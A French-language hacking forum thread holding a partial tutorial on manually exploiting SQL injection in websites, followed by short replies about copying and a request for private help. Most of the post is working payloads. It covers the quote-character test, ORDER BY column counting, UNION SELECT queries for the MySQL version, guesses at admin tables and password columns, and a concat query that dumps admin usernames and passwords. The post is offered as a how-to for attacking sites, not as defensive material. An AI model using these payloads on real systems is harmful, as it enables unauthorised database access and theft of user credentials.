[En cours]Exploiter une faille SQL

Statut
N'est pas ouverte pour d'autres réponses.
Inscription
19 Juillet 2013
Messages
22
Réactions
6
Points
46
RGCoins
50
En cours de rédaction !
1) Comment savoir ce site est vulnérable à une faille SQL ?
Nous allons prendre comme exemple le site
Pour savoir si ce site est vulnérable à une injection SQL ajouter un ' à la fin de l'adresse
comme cecit '
Si vous obtener une erreur de ce type
"Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1' "
où si des éléments de la page semble bugué le site est vulnérable

2)Exploiter la faille manuellement

2.1)Trouver le nombre de columns

Pour trouver le nombre de columns il nous faudra utiliser " ORDER BY "

order by 1/* <-- Pas d'erreur

order by 2/* <-- Pas d'erreur

order by 3/* <-- Pas d'erreur

order by 4/* <-- Erreur

Il y'a donc 3 columns

3)Utiliser la fonction UNION

Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois.
Donc nous aurons: union all select 1,2,3/*
si nous voyons quelques chiffres sur l’écran, c'est-à -dire 1 ou 2 ou 3 alors l'union a fonctionné.
Si cela ne fonctionne pas , essayer de changer le /* par --

4) Trouver la version du MySQL.

Utiliser cecit : union all select 1,@@version,3/*
En essayant de remplaçer le 3 jusqua avoir la version de Mysql devant les yeux

5)Trouver le nom des columns et tables et exploiter la faille

Maintenant vous devez savoir que si la version de Mysql est inférieur à 5 les noms de tables seront probablement user/s , admin/s , member/s et les columns seront : username , user, usr, user_name, password, pass, passwd, pwd
Maintenant nous devons exploiter la faille.
Nous devons trouver la table admin essayons cecit : union all select 1,2,3 from admin/*
Si vous aperçevez le numeros 2 cela signifie que vous venez de trouver la table admin
Nous devons maintenant trouver le nom des columns avec cecit :
union all select 1,username,3 from admin/*
Si une erreur ce produit essayer de changer le username par un aute nom de column
Si vous avez le nom d'utilisateur qui s'affiche à l'écran, par exemple, admin ou super admin etc alors c'est bon...

Maintenant pour la column de mot de passe,

union all select 1,password,3 from admin/*
Si vous avez une erreur essayer un autre nom de column

Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne.

union all select 1,concat(username,0x3a,password),3 from admin/*

Vous aurez quelque chose du genre : username:password , admin:admin , admin:unhash..

Copyright programme-zero merci de m'avertir pour tout copier / coller
 
Dernière édition:
Ah oui ? Et d'où vient ce copié coller comme tu dits ?
Il existe beaucoup de tuto sur les injections SQL
C'est normale qu'il ce ressemble car la technique reste la même.
 
Salut, Tu pourais m'aider j'ai quelque problèmes avec ça. Merci je t'est envoier un mp
 
Envoyer :p
 
Statut
N'est pas ouverte pour d'autres réponses.
Retour
Haut